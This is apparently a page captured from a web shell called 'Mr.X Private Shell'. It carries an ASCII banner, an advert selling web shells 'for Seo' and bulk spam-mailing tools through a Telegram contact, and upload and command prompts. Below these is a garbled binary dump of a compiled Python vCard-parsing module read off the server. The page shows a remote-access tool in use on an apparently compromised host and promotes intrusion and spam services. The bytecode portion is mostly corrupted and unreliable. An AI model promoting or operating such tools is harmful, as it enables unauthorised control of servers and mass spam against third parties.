__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

���g�� �SSK7 SSKrSSKrSSKrSSKrSSKrSSKrSSKr/rSSKr\R\RS45 \R\RS45 SSKr\R\RS45 \R\RS45 \R\RS45 SSKr\R\R"S45 \R\R$S45 \R\R&S45 SSKr\R\R*S	45 \RS
5 \RS5 \"\VVs/sH
up\"U5PM snn5rSr\R4"S
5r\R4"S5r\R4"S5rSrSrSr Sr!/SQr"Sr#Sr$Sr%"SS\&5r'"SS5r("SS5r)"SS5r*S r+S!r,S"r-\,\-4r.S#r/S$r0SNS%jr1SOS&jr2SPS'jr3SQS(jr4S)r5S*r6S+r7S,r8S-S.S/S0S1S2S3S4.r9S5r:S6r;SPS7jr<S8r=S9r>S:r?S;r@S<rASRS=jrB\,SS>\3\4\7\8\:\;\<S?.
rC\CR�5rE\-\ES@'SA\ESB'\ER�5rF\5\FSC'\ER�5rGSD\GSE'\GR�5rH\HSC	\HR�\=\>\?\@SF.5 SG\CSH.SI\ESH.SJ\FSH.SK\GSH.SL\HSH.SM.rJg! GN�=f! GN8=f! GN�=f! GN�=fs snnf)S�)�*�N�utf_64�utf_32�utf_16�	utf_16_be�	utf_16_le�utf_8)zBEGIN:VCARDr)zBEGIN:VCARDr	c��[US5$)z�This function detects unicode byte order markers and if present
uses the codecs module instead to open the file instead with
appropriate unicode decoding, else returns the file using standard
open function�rtU)�open)�names �/usr/share/hplip/base/vcard.py�opentextfilerZs����e���z[^0-9]*z^[0-9]{10}$z
^[0-9]{7}$c��U$�N)�join�re�split�
_notdigits�len)�n�numss  r�phonenumber_normaliserps	��
�Hrc���[R"[U5bSUSS<SUSS<SUSS<3$[R"[U5bUSS<SUSS<3$U$)N�(r�z) ��-)r�match�
_tendigits�_sevendigits)rs r�phonenumber_formatr$}s_��	�x�x�
�A��*� ��1�v�q��1�v�q���u�5�5�	���,��	"�	.��2�A���!�"��&�&��Hrc�N�[U5nU(aU$URSS5$)z>like L{formatname}, except we use the first matching component�nickname�)�nameparser_getfullname�get)r�	_fullnames  r�nameparser_formatsimplenamer+�s&��&�t�,�I�����8�8�J��#�#rc��SU;aUS$SR[U5Vs/sH
o(dMUPM sn5$s snf)z>Gets the full name, joining the first/middle/last if necessary�full� )r�nameparser_getparts)r�xs  rr(r(�s>��
��~��F�|���8�8� 3�D� 9�?� 9�1�Q�Q� 9�?�@�@��?s�
?�?)�van�von�de�dic�|�URS5nUR5n[U5S::aUSS4$[U5S:XaUSSUS4$US/n/nUS/nUS	US	[U5(a�USSR5USS:XdUSR5[;a[US/U-nUS	[U5(a?USSR5USS:XaM>USR5[;aM[UnSRU5SRU5SRU54$)Nr-rr'�r���r.)r)rr�lower�	lastpartsr)rr�parts�f�m�ls      r�nameparser_getparts_FMLr>�sA�������A�
�G�G�I�E��5�z�Q���2�r�{���5�z�Q���a��"�e�A�h�'�'�
�q��
�A�
�A�	�r���A�
�a��
�b�	�

�e�*�*�%��)�A�,�,�,�.�%��)�A�,�>�%��)�/�/�BS�W`�B`�
�2�Y�K��M���"�I��e�*�*�%��)�A�,�,�,�.�%��)�A�,�>�%��)�/�/�BS�W`�B`�	�A�
�H�H�Q�K����!��c�h�h�q�k�2�2rc��URS5nURS5n[U5S::aUSS4$USnSnSnUSR5n[U5S:�a(USn[U5S:�aSRUSS5nXEU4$)Nr-�,rr'rr.)r)rrr)rrr:�_last�_first�_middles      r�nameparser_getparts_LFMrD�s��������A�
�G�G�C�L�E�
�5�z�Q���2�r�{���!�H�E�
�F��G��!�H�N�N��E�
�5�z�Q���q����u�:��>��h�h�u�Q�R�y�)�G��U�#�#rc��SH?nX;dM
URSS5URSS5URSS54s $ SU;aURSS5SS4$URS5nSU;a[U5$[U5$)	zbReturns (first, middle, last) for name.  If the part doesn't exist
then a blank string is returned)�first�middle�lastrFr'rGrHr-r&r@)r)�nameparser_getrDr>)r�irs   rr/r/�s���
)���9��H�H�W�b�)�4�8�8�H�b�+A�4�8�8�F�TV�CW�X�X�)�
�T������R�(�"�b�1�1����F�#�A�
�a�x�&�t�,�,�"�4�(�(rc��\rSrSrSrg)�VFileException��N)�__name__�
__module__�__qualname__�__firstlineno__�__static_attributes__rNrrrLrL�s��rrLc�F�\rSrSrSS0rSrSrSrSrSr	S	r
S
rSrg)
�VFile��	MACINTOSH�	MAC_ROMANc��XlSUlgr)�source�saved)�selfrZs  r�__init__�VFile.__init__s������
rc��U$rrN�r\s r�__iter__�VFile.__iter__����rc�"�UR5$r��__next__r`s r�next�
VFile.next
����}�}��rc��UR5nUc
[5e[U5S:waOM/SnURS5nUS:�a�USUR	5RS5nSU;dSU;a^SnUSS	:Xd	US
S	:XaJUSS	:XaSnOS
nUR5nUSS;aUSSnUSUU-nUSS	:XaM?US
S	:XaMJU(aUUR
5nUcOA[U5S:XaO1USS
:wa
USS:waOXR5SS-
nU(aMUURS5nUS:a([RSU-5 [U5nUS-
nUSUnXS-SR5nUR5RS5n	/n
[U[5(aSnOSnU	H�nURS5(aUSS=(d SnM)URS5(dUS:XdU
RU5 MXUS:XdUS:Xa[R "U5nM}US:Xa["R "U5nSnM�[%SU-5e [U
5S:Xa[%SU<35eUb:[(R*"UR,R/X�55n
U
"U5upU
S/:XdU
S /:XaUR5nX�4$![&a=n[U[$5(aUe[%S[U5<SU<SU<S35eSnAff=f![0a [%SU<SU<35ef=f)!NTr�:�;zquoted-printablezencoding=quoted-printableFr7�=���)�	r.rr.rozFixing up bad line: %szLATIN-1zCHARSET=�z	ENCODING=zQUOTED-PRINTABLE�ENCODING=QUOTED-PRINTABLEz
ENCODING=Bzunknown encoding: z
Exception z while processing encoding z
 on data '�'zLine contains no property: zunknown character set 'z' in parameters �BEGIN�END)�_getnextline�
StopIterationr�findr8r�
_lookahead�log�debug�strip�upper�
isinstance�str�
startswith�append�quopri�decodestring�base64rL�	Exception�codecs�
getdecoder�_charset_aliasesr)�LookupError)r\�line�normalcontinuations�colon�srJ�nextl�nextline�b4�items�newitems�charset�e�decoder�_s               rrf�VFile.__next__
s����$�$�&�D��|�#�o�%��4�y�A�~���#���	�	�#����1�9��V�e��"�"�$�*�*�3�/�A�!�Q�&�*E��*J�&+�#��2�h�#�o��b��S���B�x�3������ �-�-�/�E��Q�x�;�.��a�b�	�����8�E�>�D��2�h�#�o��b��S��"����(�H�����8�}��!�����s�"�x��{�d�':���%�%�'���+�+�D�"�!��	�	�#����1�9�
�I�I�.��5�6���I�E��C�K�D�
�&�5�\���!�G�H�~�#�#�%�����
� � ��%�����d�C� � ��G� �G��A��|�|�J�'�'��A�B�%�,�9����<�<��,�,�Q�8J�5J�����"��
s��*�*�a�3N�.N�!�.�.�t�4�D��,�&�!�.�.�t�4�D�"�G�)�)=�a�)?�@�@�1�B�x�=�A�� �D�!J�K�K���
d� �+�+�D�,A�,A�,E�,E�g�,W�X�� �������y� �H���$7��:�:�<�D��~���+�
s��a��/�/��G�$�ad�ef�ag�ij�lp�%q�r�r��
s���
d�$�V]�_a�%b�c�c�
d�s0�!"K1�K1�%K1�9L;�1
L8�;8L3�3L8�;Mc�f�URbURnSUlU$UR5$r�r[�_readandstripline�r\r�s  rru�VFile._getnextline�s0���:�:�!��:�:�D��D�J��K��)�)�+�+rc��URR5nUb5[U5S:XagUSSS:XaUSS$USS:Xd	USS:XaUSS$U$)Nrrn�
r7�
�
)rZ�readlinerr�s  rr��VFile._readandstripline�sj���{�{�#�#�%�����4�y�A�~���b�c��f�$��C�R�y� ��b��T�!�T�"�X��%5��C�R�y� ��rc�b�URbeUR5UlUR$rr�r`s rrx�VFile._lookahead�s,���z�z�!�!�!��+�+�-��
��z�z�r)r[rZN)
rOrPrQrRr�r]rargrfrur�rxrSrNrrrUrU�s4���[�
���
��r�j,��rrUc�0�\rSrSrSrSrSrSrSrSr	g)	�VCardsi�zUnderstands vcards in a vfilec��Xlgr��vfile)r\r�s  rr]�VCards.__init__�s���
rc��U$rrNr`s rra�VCards.__iter__�rcrc�"�UR5$rrer`s rrg�VCards.next�rirc� �S=pURHupX4S/S4:waMSn O X4S/S4:wa
[5e/nURH#upX4S/S4:waURX45 M# O X4S/S4:wa[S5e[	U5$)Nrs�VCARDTrtz'There is a BEGIN:VCARD but no END:VCARD)r�rvr�rL�VCard)r\�field�value�found�liness     rrf�VCards.__next__�s�������:�:�K�E��}�'��G� 4�4���E��&�
�=�g�Y��0�0��/�!����:�:�K�E��}�%��'� 2�2����u�m�-���&�
�=�e�W�g�.�.� �!J�K�K��U�|�rr�N)
rOrPrQrR�__doc__r]rargrfrSrNrrr�r��s��#����rr�c��\rSrSrSrSrSrS$SjrSrSr	Sr
S	r\r\r
\r\r\r\r\r\r\r\rS
rSrSrS
rSrSr\rSr\rSrSr Sr!Sr"S%Sjr#S%Sjr$Sr%Sr&\%r'Sr(Sr)Sr*Sr+S&Sjr,Sr-Sr.S r/S!r0S"r1g#)'r�i�zA single vcardc���SUlSUl0Ul0Ul/UlUGH^up#[U5(deUS/:XaSUlUSR
S5(a9USRS5(dUSRS5(aSUl[U5(a;USRS	5USRS
5s=:�aS:�a
O OSUl	US/:Xa5URS5nUVs/sHn[U5PM nnX@lM�USS:XaSS/USS&O2USS:XaSS/USS&O!USS:XaSS/USS&OUSS:XaSS/USS&URRX#45 GMa URURUR5 UR!UR5 gs snf![a [US
-5ef=f)N)r6rzX-EVOLUTION-FILE-AS�	evolutionr�ITEMz.X-ABADRz
.X-ABLABEL�applez>!$_z_$!<�VERSION�.z is not a valid vcard versionzHOME.TEL�TEL�HOMErz
HOME.LABEL�LABELzWORK.TEL�WORKz
WORK.LABEL)�_version�_origin�_data�_groupsr�rr�endswithrw�originr�int�
ValueErrorrLr��_parse�_update_groups)r\r�r;�v�ver�xxs      rr]�VCard.__init__�s�����
������
������
��C�A��q�6�6�M�6��*�+�+�*�����t���v�&�&�A�a�D�M�M�*�,E�,E��1����Wc�Id�Id�&����1�v�v�!�A�$�)�)�F�+�a��d�i�i��.?�D�1�D�%����Y�K���g�g�c�l��L�-0�1�S�r�3�r�7�S�C�1�!$�
����t�z�!�����!�A���1���%�!�6�*��!�A���1���#�����!�A���1���%�!�6�*��!�A���J�J����u�&�I�L	
���D�J�J��
�
�+����D�J�J�'��12��!�L�(��+J�)J�K�K�L�s�G�G�G�G�G)c��UR$)z2Returns a dict of the data parsed out of the vcard�r�r`s r�getdata�
VCard.getdatas���z�z�rc�8�URRX5$r)r�r))r\�key�defaults   rr)�	VCard.gets���z�z�~�~�c�+�+rc�|�X;aU$[SS5H%nU[U5-U;dMU[U5-s $ g)z�Returns the fieldname to use in the dict.

For example, if name is "email" and there is no "email" field
in dict, then "email" is returned.  If there is already an "email"
field then "email2" is returned, etcr6韆N)�range�repr)r\r�dictrJs    r�
_getfieldname�VCard._getfieldnames=�����K��q���A��D��G�|�4�'��D��G�|�#� rc��UH�up4[UR55S:XaM$SUS;aUSUSRS5S-SnOUSnURSS5n[	USU-UR
5nU"X4U5 M� g)Nrr�rr r��_field_)rr{rw�replace�getattr�_default_field)r\r��resultr�r�r;�t�funcs        rr��VCard._parses��� �K�E��5�;�;�=�!�Q�&���e�A�h���!�H�U�1�X�]�]�3�/��1�2�3���!�H���	�	�#�s�#�A��4��1��d�.A�.A�B�D���v�&�!rc��[URR55Hup#UR"U/UQ76 M g)zUpdate the groups info N)�listr�r��	_setvalue)r\r��kr�s    rr��VCard._update_groups's1������*�*�,�-�C�A��N�N�6�&�A�&�.rc��grrN�r\r�r�r�s    r�
_field_ignore�VCard._field_ignore/s��rc�J�URU5X0RSU5'g)Nr��unquoter�r�s    r�	_field_FN�VCard._field_FNAs ��59�\�\�%�5H��!�!�&�&�1�2rc�J�URU5X0RSU5'g)N�titler�r�s    r�_field_TITLE�VCard._field_TITLEE� ��6:�l�l�5�6I��!�!�'�6�2�3rc�J�URU5X0RSU5'g)Nr&r�r�s    r�_field_NICKNAME�VCard._field_NICKNAMEIs ��9=���e�9L��!�!�*�f�5�6rc�J�URU5X0RSU5'g)N�notesr�r�s    r�_field_NOTE�VCard._field_NOTENr�rc�,�URU5US'g)N�uid)r�r�s    r�
_field_UID�VCard._field_UIDRs�����U�+��u�
rc��URU5nS=n=n=n=pxUSnUSnUSnUSnUSnUb$[U5(aXCURSU5'Ub$[U5(aXSURSU5'Ub$[U5(aXcURSU5'Ub$[U5(aXsURS	U5'Ub&[U5(aX�URS
U5'ggg![a N�f=f)Nrrr6r�z	last namez
first namezmiddle name�prefix�suffix)�splitandunquote�
IndexErrorrr�)	r\r�r�r��
familyname�	givenname�additionalnames�honorificprefixes�honorificsuffixess	         r�_field_N�VCard._field_NZs4���$�$�U�+��[_�_�
�_�Y�_��_�3D�	��q��J��a��I�#�A�h�O� %�a��� %�a����!�c�*�o�o�>H�4�%�%�k�6�:�;�� �S��^�^�?H�4�%�%�l�F�;�<��&�3��+?�+?�@O�4�%�%�m�V�<�=��(�S�1B�-C�-C�;L�4�%�%�h��7�8��(�S�1B�-C�-C�;L�4�%�%�h��7�8�.D�(���	��	�s�C;�;
D�Dc��URU5n[U5(aUSX0RSU5'USSHnXCURSU5'M g)Nr�organisationrzorganisational unit)r
rr�)r\r�r�r�r;s     r�
_field_ORG�VCard._field_ORGysZ���$�$�U�+���u�:�:�AF�q��F�%�%�n�f�=�>��q�r��A�HI�4�%�%�&;�V�D�E�rc�~�URU5n/nUSSHKnURS5(aU[S5SRS5nOU/nUR	U5 MM SnUHnUS:XaSnUS:XaSnUS:XdM g S	U;n	UcURUS
X)5 gX'S.n
URUS
X�5 g)Nr�TYPE=r@r��homer��business�X400�PREF�email)r�type�r�rrr�extendr��r\r�r�r��typesr;�ffrr��	preferred�addrs           r�_field_EMAIL�VCard._field_EMAIL�s������U�#�����q�r��A��|�|�G�$�$��s�7�|�}�%�+�+�C�0���S���L�L���
����A��F�{����F�{����F�{����e�O�	��<��N�N�6�7�E�=�"�1�D��N�N�6�7�D�<rc�r�URU5n/nUSSHKnURS5(aU[S5SRS5nOU/nUR	U5 MM SnUHnUS:XaSnUS:XdMSnM SU;n	UcURUS	X)5 gX'S
.n
URUS	X�5 g)Nrrr@r�rr�rr�url)r)rrr!s           r�
_field_URL�VCard._field_URL�s������U�#�����q�r��A��|�|�G�$�$��s�7�|�}�%�+�+�C�0���3���L�L���
����A��F�{����F�{�����e�O�	��<��N�N�6�5�%�;� �/�D��N�N�6�5�$�:rc���SUS;aUSSUSRS5nOSnUc[RS5 gURUSS[	U50US5 g)Nr�rzspeeddial has no group�phone�	speeddialF)rwryrz�_setgroupvaluer�)r\r�r�r��groups     r�_field_X_SPEEDDIAL�VCard._field_X_SPEEDDIAL�sf���%��(�?��!�H�0�e�A�h�m�m�C�0�1�E��E��=�
�I�I�.�/������;��E�
�1L� %�u�
.rc��URU5nSUS;aUSSUSRS5nOSn/nUSSHKnURS5(aU[S5SR	S5nOU/nURU5 MM SSSSSS.nUV	s/sHo�R
X�5PM nn	UV	s/sHo�S	;dM
U	PM nn	/S
Qn
SU;aSnOSnU
HnXe;dM
S
n O SU;nS
n
S
nSU;aSn
SU;aSn[U5S:XdUS/:XaSn
[U5nU
(aU(aURUSSUS.XL5 U(aU(aURUSSUS.XL5 U
(d%U(dSU;aURUSSUS.XL5 OHU
(aSU;aURUSSUS.XL5 U(aSU;aURUSSUS.XL5 SU;aURUSSUS.XL5 SU;aURUSSUS.XL5 SU;aURUSSUS.XL5 ggs sn	fs sn	f)Nr�rrrr@�DATA�CELL)�BBS�MODEM�ISDN�CAR�PCS)
r�r��MSGr�VOICE�FAXr5�VIDEO�PAGERr4)r=r?r4r<TFrr�r�r-r)r�numberrr=�faxzbusiness faxzhome fax�cellr?�pager�data)	r�rwrrrr r)rr/)r\r�r�r�r0r"r;r#�munger��	antivoice�voicer$�iswork�ishomes               r�
_field_TEL�VCard._field_TEL�s������U�#���%��(�?��!�H�0�e�A�h�m�m�C�0�1�E��E����q�r��A��|�|�G�$�$��s�7�|�}�%�+�+�C�0���S���L�L���
� �&�&�����+0�0�%�Q���1��%��0�"�6�E�q�+5�&5��E��6�-�	��e���E��E����:�!�E���
�e�O�	������U�?��F��U�?��F��u�:��?�e��x�/��F�&�e�,���e�����"�Z�5�$I� �
-��e�����"�V�u�$E� �
-��f��%������"�U�e�$D� �
-�
�%�5�.��#�#�F�G�(6�%�H�$�1��%�5�.��#�#�F�G�(2�e�D�$�1��U�?�����"�V�u�$E� �
-��e������"�W��$F� �
-��U�?�����"�V�u�$E� �
-���Y1��6s�I�:	I�Ic	�0�UcURXX55$URRUS5nUcX#U/URU'gX&S:wa([R	SU<SU<S[
S<35 U(aSUS'USR
U5 g)	z(Set value of an item of a group
        NrzGroup z has different types: z, Tr6r)r�r�r)ryrz�groups_type�update)r\r�rr�r0r$�
group_types       rr/�VCard._setgroupvalue=s����=��>�>�&��A�A��\�\�%�%�e�T�2�
���#'�	�":�D�L�L����!�}�$��	�	�E�4�P[�\]�P^�_�`�� $�
�1�
��q�M� � ��'rc	��X!;aX1U'gU(dX1URX!5'gU/nS/[[SS55-H6nU[U5-U;a!UR	X[U5-5 M6 O S/[[S[U5S-55-n[[U55HnXXX[Xx5-'M g)Nr'r6�cr)r�r�r�r~r�r)	r\r�rr�r$�valuesr	�suffixesr=s	         rr��VCard._setvalueTs����� �4�L���7<�4�%�%�d�3�4������d�4��a���,�,�F��C��K��6�)��
�
�f�#�f�+�%5�6�7��	-��4��U�1�S��[��]�3�4�4���s�8�}�%�A�,2�I�F��H�K�(�(�)�&rc��URUSS9nUVs/sH"oURSS5R5PM$ nnUVs/sHn[U5(dMUPM nnUR	SS5nU(a&SRUSRU5/5US'gSRU5US'gs snfs snf)Nr@��	seperatorrlr'�
categories)r
r�r{rr)r�r\r�r�r�rSr�s      r�_field_CATEGORIES�VCard._field_CATEGORIESls����%�%�e�s�%�;��6<�=�f��)�)�C��$�*�*�,�f��=�#�.�V��s�1�v�!�V��.��J�J�|�T�*���#&�8�8�Q�����0@�,A�#B�F�<� �$'�8�8�F�#3�F�<� ��>��.s�)B8�B=�B=c�$�URUSS9nUVs/sH"oURSS5R5PM$ nnUVs/sHn[U5(dMUPM nnSR	U5X0RSU5'gs snfs snf)Nr@rWrlr'�	ringtones)r
r�r{rrr�rZs      r�_field_SOUND�VCard._field_SOUNDzs}���%�%�e�s�%�;��6<�=�f��)�)�C��$�*�*�,�f��=�#�.�V��s�1�v�!�V��.�:=�(�(�6�:J��!�!�+�v�6�7��>��.s�)B�B
�B
c��SnSnUSSHUnURS5(aU[S5SRS5nOU/nUHnUS:XaSnUS:XdMS	nM MW URU5nS=n	=n
=n=n=n
=p�US
n	USn
USnUSnUS
n
USnUSn0nU	b[U	5(aU	US'U
b[U
5(aU
US'Ub[U5(aUUS'Ub[U5(aUUS'U
b[U
5(aU
US'Ub[U5(aUUS'Ub[U5(aUUS'[U5(aUUS'URUSUU5 gg![a N�f=f)NFrrrr@r�rrTrr6rr�r�pobox�street2�street�city�state�
postalcode�countryr�address)rrrr
rr�)r\r�r�r�r$rr;r#r0rc�extendedaddress�
streetaddress�locality�regionrhrir%s                 r�
_field_ADR�VCard._field_ADR�s����	����q�r��A��|�|�G�$�$��s�7�|�}�%�+�+�C�0���S������;�!�D���;� $�I�	���$�$�U�+��]a�a��a��a�-�a�(�a�V�a�j�		��!�H�E�#�A�h�O�!�!�H�M��Q�x�H��1�X�F��q��J��A�h�G������U���!�D��M��&�3��+?�+?�-�D��O��$��]�);�);�*�D��N���C��M�M�#�D��L���#�f�+�+�"�D��M��!�c�*�o�o�!+�D�����3�w�<�<�%�D��O��t�9�9��D��L��N�N�6�9�d�I�>���5�	��	�s�#E:�:
F�Fc�T�USRS5nUSn[U5S:�aUSnOSnURS5(dURS5(aURS/X#5 gUS:XdUS:XaUR	S/X#5 g[
R
S	U-5 g)
Nrr�rr'zX-PALM-CATEGORY�
CATEGORIESzX-PALM-NICKNAME�NICKNAMEzIgnoring PALM custom field: %s)rrrr[r�ryrz�r\r�r�r�r#�f0�f1s       r�
_field_X_PALM�VCard._field_X_PALM�s���
�1�X�^�^�C�
 ��
��U���r�7�Q�;��A��B��B�
�=�=�*�+�+�r�}�}�=N�/O�/O��"�"�L�>�5�A�
�$�
$��.?�(?�� � �*��u�=�
�I�I�6��>�?rc��USRS5nUSn[U5S:�aUSnOSnURS5(dURS5(aURXU5 gURS5(dURS5(a[RSU-5 g[RSU<S	USS
<S35 g)Nrr�rr'zX-PALM-zX-zIgnoring custom field: %szNo idea what to do with z (�P�))rrrrwryrzrts       rr��VCard._default_field�s���
�1�X�^�^�C�
 ��
��U���r�7�Q�;��A��B��B�
�=�=��#�#�r�}�}�Y�'?�'?����u�V�4��
�]�]�4�
 �
 �B�M�M�$�$7�$7��I�I�1�E�9�:���	�	�u�e�C�R�j�I�Jrc���URSS5RSS5RSS5RSS5RSS5RS	S5$)
N�\;rl�\,r@z\nr�z\r\nr�r��r�)r\r�s  rr��
VCard.unquote�sQ���}�}�U�C�(����s�#����t�$�����(�����%����d�#�	$rc��URSU-5S:a0URU5Vs/sHo0RU5PM sn$/nSnSnU[U5:aWXU:XaUR	U5 SnUS-
nM1XS:XaXQX3S--
nUS-
nMIXQU-
nUS-
nU[U5:aMW[U5(aUR	U5 UVs/sHo0RU5PM sn$s snfs snf)N�\rr'rr6)rwrr�rr�)r\r�rXr��res�builds      rr
�VCard.splitandunquote�s	���:�:�d�9�n�%�a�'�-2�[�[��-C�D�-C��L�L��O�-C�D�D�����
���#�e�*�n��x�9�$��
�
�5�!����Q�����x�4���q�1���%���Q�����1�X��E�
��F�A��#�e�*�n� �u�:�:��J�J�u��),�-��A���Q���-�-��3E��2.s�C7�C<c��UR$)zBest guess as to vcard version)r�r`s r�version�
VCard.versions���}�}�rc��UR$)z-Best guess as to what program wrote the vcard)r�r`s rr��VCard.origins���|�|�rc� �URU$rr�)r\�items  r�__getitem__�VCard.__getitem__s���z�z�$��rc�,�[UR5$r)r�r�r`s r�__repr__�VCard.__repr__!s���D�J�J��r)r�r�r�r�r�r�N)r')F�rl)2rOrPrQrRr�r]r�r)r�r�r�r��_field_LABEL�_field_BDAY�_field_ROLE�
_field_CALURI�_field_CALADRURI�_field_FBURL�
_field_REV�
_field_KEY�
_field_SOURCE�_field_PHOTOr�r�r�rrr�_field_NAMEr�_field_Or&r*r1rJr/r�r[r_�_field_CATEGORYrorwr�r�r
r�r�r�r�rSrNrrr�r��s����/(�d�,�
$�'�'�
�!�L��K��K�!�M�$�� �L��J��J�!�M� �L�
I�J�M�
J�,�M�8�K�J��H�=�D;�>.�f-�R(�.6�04�K�(�O�8?�v@�(K�*$�.�B�
�
 � rr�c�n�[R"U5RSS5RSS5$)zTMy own routine to do qouted printable since the builtin one doesn't encode CR or NL!r�z=0Dr�z=0A)r��encodestringr��r�s r�myqpencodestringr�&s-�����u�%�-�-�d�E�:�B�B�4��O�Orc�f�URSS5RSS5RSS5$)zJReturn a vCard v2 string.  Any embedded commas or semi-colons are removed.r�r'r@rlr�r�s r�format_stringv2r�+s-���=�=��r�"�*�*�3��3�;�;�C��D�Drc�f�URSS5RSS5RSS5$)zOReturn a vCard v3 string.  Embedded commas and semi-colons are backslash quotedr�r'r@rrlr~r�r�s r�format_stringv3r�0s-���=�=��r�"�*�*�3��6�>�>�s�E�J�Jrc�J�[R"U5R5$)zReturn base 64 encoded string)r�r��rstripr�s r�
format_binaryr�8s�����u�%�,�,�.�.rc�B�[U[S5[/545$)z�Determine if v is a sequence such as passed to value in out_line.
Note that a sequence of chars is not a sequence for our purposes.rN)r}r)r�s r�_is_sequencer�>s���a�$��*�d�2�h�/�0�0rc	�t�Uc/nO[USS5nU[;a�[U5(akSnUHnU"U5n[U5U:wdMSn O U(a,UR	S5 UVs/sHn[U5PM nnURU5nOWU"U5n[U5U:gnU(a[U5nUR	S5 O[U5(aeUbU"U5nSRU/U-5S-nU[
USS[U5-
5-
nUSS	:wdeUS	-$s snf)
a|Returns a single field correctly formatted and encoded (including trailing newline)

@param name:  The field name
@param attributes: A list of string attributes (eg "TYPE=intl,post" ).  Usually
              empty except for TEL and ADR.  You can also pass in None.
@param value: The field value.  You can also pass in a list of components which will be
              joined with join_char such as the 6 components of N
@param formatter:  The function that formats the value/components.  See the
              various format_ functions.  They will automatically ensure that
              ENCODING=foo attributes are added if appropriateNFTrqrlrk�Fr7r�)r��_string_formattersr�r�r�r�_line_reformatr)r�
attributesr��	formatter�	join_char�qpr;r�s        r�out_liner�DsD�����
��*�Q�-�(�
��&�&������B����a�L��#�A�&�!�+��B��	���!�!�"=�>�6;�<�e��)�!�,�e��<��N�N�5�)�E��e�$�E�!�%�(�E�1�B��(��/���!�!�"=�>����&�&�&�&�� ��e�$�E�

�(�(�D�6�*�$�
%�c�
)�C��>�%��R��C��[�1�1�C��r�7�d�?��?��t�8�O��'=s�1D5c���US:XaUn[U5U:aU$SnUS:�aX0SU-
nXSn[U5(a3USUSU--
n[U5U:aU$XSn[U5(aM3U$)acTakes line string and inserts newlines
and spaces on following continuation lines
so it all fits in width characters

@param width: how many characters to fit it in
@param firstlinewidth: if >0 then first line is this width.
     if equal to zero then first line is same width as rest.
     if <0 then first line will go immediately to continuation.
     rr'Nz
 )r)r��width�firstlinewidthr�s    rr�r�vs��������
�4�y�>�!���
�C�����O�^�$�$���O�$��

�d�)�)��u�T�&�5�\�!�!���t�9�U�?���J��F�|���d�)�)��Jrc��SnUSUHtnU[SS[U5U5-
n[U5upVnU[SSXuUSS4U5-
nURSS5n[	U5(dMdU[SSX�5-
nMv U$)Nr'�FN�Nr&rs)r�r+r/r)r)	�valsr��limitr�r�r;r<r=�nns	         r�	out_namesr��s���
�C�
�&�5�\���x��d�$?��$B�I�N�N��#�A�&���A��x��T�A��"�R�=�)�<�<��
�U�U�:�r�
"���r�7�7��8�J��b�<�<�C���Jrc��UVs/sHo3RS5PM nn[U5(a[USXASS9$gs snf)N�categoryr@)r�r'�r)rr�)r�r�r�r��catss     r�out_categoriesr��s?��'+�,�t�!�E�E�*��t�D�,�
�4�y�y���t�T��D�D�
��	-s�>c��[XSS9$)N�CATEGORY)r�)r��r�r�s  r�out_categories_appler��s���$��<�<rc�L�SnSnUH�nURU5nURSS5n[U5(a%US:XaSnUR5nU(aUS-nO	U(aSn[U5(aSU-SS	/US
:H-/nOSnU[X(Xq5-
nSnM� U$)Nr'Trr�work�,PREFrrz	,INTERNET�EMAILF)r)rr|r�)	r�r�r��bpkeyr�rFr��valrs	         r�out_eur��s���
�C��E�
���e�e�E�l���u�u�V�R� ���t�9�9��z�!����:�:�<�D���G�|���
��D��t�9�9��D�L�"�[�!1�%�7�2B�!C�C�D�D��D��x��S�4�4����-�0�Jrc��[XSS5$)Nr�r�r�r�s  r�
out_emailsr��s���$�7�G�4�4rc��[XSS5$)N�URLr)r�r�s  r�out_urlsr��s���$�5�%�0�0rr�r�r5r=r?r7r<)r�officerBrArCrD�nonec
��S/[[S[U5S-55-Vs/sHnS[U5-PM nnSnSnSnUH�nUR	SS5nUc3U[SS	[US
<SU<3/[US5U5-
nO[U[X6S
-S	[US
<SU<3/[US5U5-
nU[X6S-S[U5U5-
nUS-
nSnM� U$s snf)Nr'r6rr-Trr.r�rr�r'r�r@z.TELz.X-SPEEDDIALF)r�r�rr~r)r��_out_tel_mappingr$)	r�r�r0�phonesr�rF�idxr��sps	         r�out_telr��s)��')�d�4��a��D�	�!��0D�+E�&E�
F�&E��g�c�!�f�n�&E�F�
F�
�C��E�
�C�
��
�U�U�;��
%��
�:��8�E�*:�1�V�9�*E�}�UZ�G[�\�]�,�Q�x�[�9�9�F�
F�C�
�8�F�K��.�*:�1�V�9�*E�}�UZ�G[�\�]�,�Q�x�[�9�9�F�
F�C�
�8�F�K��6��c�"�g�y�Q�Q�C��1�H�C���� �J��+Gs�C8c
�@�SnSnUH�nURSS5n[U5(aU[SSXQ5-
nURS5S:XaSnOSnS	U-S
U-nU[SU/SVs/sHotRUS5PM snU5-
nS
nM� U$s snf)Nr'T�company�ORGrrr�r�rr��ADR�NrdrerfrgrhriFr�)r�r�r�rFr��orr�s        r�out_adrr��s���
�C��E�
��
�E�E�)�R� ���q�6�6��8�E�4��6�6�C��5�5��=�F�"��D��D��t�|�M�%�0�0���x���v�?D�(E�?D����a���?D�(E�GP�Q�	Q������J��(Es�.Bc�t�SRUSUVs/sHn[SSUSU5PM sn5$s snf)Nr'�NOTE�memo)rr�)r�r�r�r�s    r�out_noter�s9��
�7�7�$�v�PU�,�W�,�Q�H�V�T�1�V�9�i�@�,�W�X�X��Ws�5c��Sn[U5S:�nU(aSnOSnUH5nU[SUSU<[US<3/[US5U5-
nSnM7 U$)	Nr'rzPREF,r�rrr@F)rr�r�r$)r�r�r��_prefr�r�s      r�out_tel_scp6600r�ss��
�C���I��M�E������
���x��q�&'�)9�!�F�)�)D�E�F�(��8��5�y�B�	B������Jrc��Sn[[[U5S55H5nXnURSS5(dM U[	SS/USU5-
